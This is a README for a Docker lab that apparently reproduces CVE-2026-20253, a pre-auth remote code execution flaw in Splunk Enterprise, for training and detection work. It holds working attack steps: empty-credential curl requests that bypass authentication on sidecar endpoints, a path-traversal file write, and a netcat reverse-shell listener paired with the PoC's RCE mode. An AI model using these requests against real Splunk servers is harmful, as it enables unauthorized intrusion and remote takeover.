## https://sploitus.com/exploit?id=EA3A7806-7664-56E2-8852-A6332E2B1D40
# CVE-2026-20253 Lab Environment
**Splunk Enterprise Pre-Auth RCE via PostgreSQL Sidecar Service**
| | |
|---|---|
| **CVE** | CVE-2026-20253 |
| **CVSS** | 9.8 (Critical) |
| **Type** | Unauthenticated Remote Code Execution |
| **CWE** | CWE-306: Missing Authentication for Critical Function |
| **Product** | Splunk Enterprise 10.0.x / 10.2.x |
> **DISCLAIMER**: This lab is for authorized security research, education, and penetration testing only. Do not use against systems you do not own or have explicit authorization to test.
---
## Lab Architecture
```
┌──────────────────────────────────────────────────────┐
│ Docker Network: cve-lab │
│ Subnet: 172.20.0.0/24 │
│ │
│ ┌─────────────────────┐ ┌──────────────────────┐ │
│ │ splunk-vulnerable │ │ attacker │ │
│ │ 172.20.0.10 │ │ 172.20.0.50 │ │
│ │ │ │ │ │
│ │ Splunk 10.2.3 │ │ Python 3.11 │ │
│ │ Port 8000 (Web) │ │ nmap, netcat │ │
│ │ Port 8089 (API) │ │ postgresql-client │ │
│ │ Port 8088 (HEC) │ │ tcpdump │ │
│ └─────────────────────┘ └──────────────────────┘ │
│ │
│ ┌─────────────────────┐ (optional, profile: patched)│
│ │ splunk-patched │ │
│ │ 172.20.0.11 │ │
│ │ Splunk 10.2.4 │ │
│ │ Port 8001 (Web) │ │
│ └─────────────────────┘ │
└──────────────────────────────────────────────────────┘
```
---
## Prerequisites
- Docker & Docker Compose
- Git
- 8GB+ RAM (Splunk requires significant memory)
- Internet access (to pull Docker images)
---
## Quick Start
### 1. Start the vulnerable lab
```bash
# Start Splunk vulnerable + attacker
docker-compose up -d
# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then: "Splunk is ready"
```
### 2. Verify Splunk is running
- Open browser: http://localhost:8000
- Login: `admin` / `ChangeMeNow!`
### 3. Run the vulnerability checker
```bash
# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k
# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k
```
### 4. Run the PoC exploit
```bash
# Enter attacker container
docker exec -it attacker bash
# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k
# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444
# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
-t http://172.20.0.10:8000 \
--rce \
--lhost 172.20.0.50 \
--lport 4444 \
-k
```
### 5. (Optional) Start patched version for comparison
```bash
docker-compose --profile patched up -d splunk-patched
# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k
```
---
## Lab Exercises
### Exercise 1: Reconnaissance & Vulnerability Identification
**Goal**: Identify the PostgreSQL sidecar endpoints and verify the auth bypass.
```bash
# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088
# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"
```
**Questions**:
- What HTTP status codes do you observe?
- What does `Authorization: Basic Og==` decode to?
- Why does a 400 response indicate vulnerability (vs. 401)?
### Exercise 2: File Write Primitive
**Goal**: Demonstrate arbitrary file creation on the Splunk server.
```bash
# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
"http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"
# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned
```
### Exercise 3: Full RCE Chain
**Goal**: Achieve code execution on the Splunk server.
1. Start a netcat listener on the attacker machine
2. Run the PoC exploit with `--rce` flag
3. Verify the reverse shell connection
4. Investigate what permissions the shell has (`whoami`, `id`, `ls /opt/splunk/etc/`)
### Exercise 4: Patch Diff Analysis
**Goal**: Understand what changed between vulnerable and patched versions.
```bash
# Start both vulnerable and patched instances
docker-compose --profile patched up -d
# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health" # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health" # 401
# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
```
### Exercise 5: Detection Engineering
**Goal**: Create detection rules for this vulnerability.
1. Enable Splunk internal logging on the vulnerable instance
2. Run the exploit
3. Search `index=_internal` for artifacts of the attack
4. Write SPL detection queries (see `report/ANALYSIS.md` Section 6)
5. Test your detections against the exploit
---
## File Structure
```
CVE-2026-20253/
├── README.md # This file
├── docker-compose.yml # Lab environment definition
├── attacker/
│ ├── Dockerfile # Attacker container build
│ └── requirements.txt # Python dependencies
├── exploit/
│ ├── checker.py # Vulnerability checker script
│ ├── poc.py # PoC exploit (auth bypass → file write → RCE)
│ └── requirements.txt # Python dependencies
└── report/
└── ANALYSIS.md # Root cause analysis & full report
```
---
## Debugging Tips
### Splunk container won't start
```bash
docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+
```
### Verify PostgreSQL sidecar is running
```bash
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435
```
### Inspect Splunk internal logs
```bash
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50
```
### Check the target modular input script
```bash
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
```
### Capture network traffic for analysis
```bash
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10
```
---
## Cleanup
```bash
# Stop and remove all containers
docker-compose --profile patched down
# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v
# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4
```
---
## References
- [Full Root Cause Analysis](report/ANALYSIS.md)
- [Splunk Advisory SVD-2026-0610](https://advisory.splunk.com/advisories/SVD-2026-0610)
- [WatchTowr Labs Analysis & PoC](https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253)
- [CISA KEV Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- [Picus Security Technical Writeup](https://www.picussecurity.com/resource/blog/splunk-cve-2026-20253-unauthenticated-remote-code-execution-vulnerability-explained)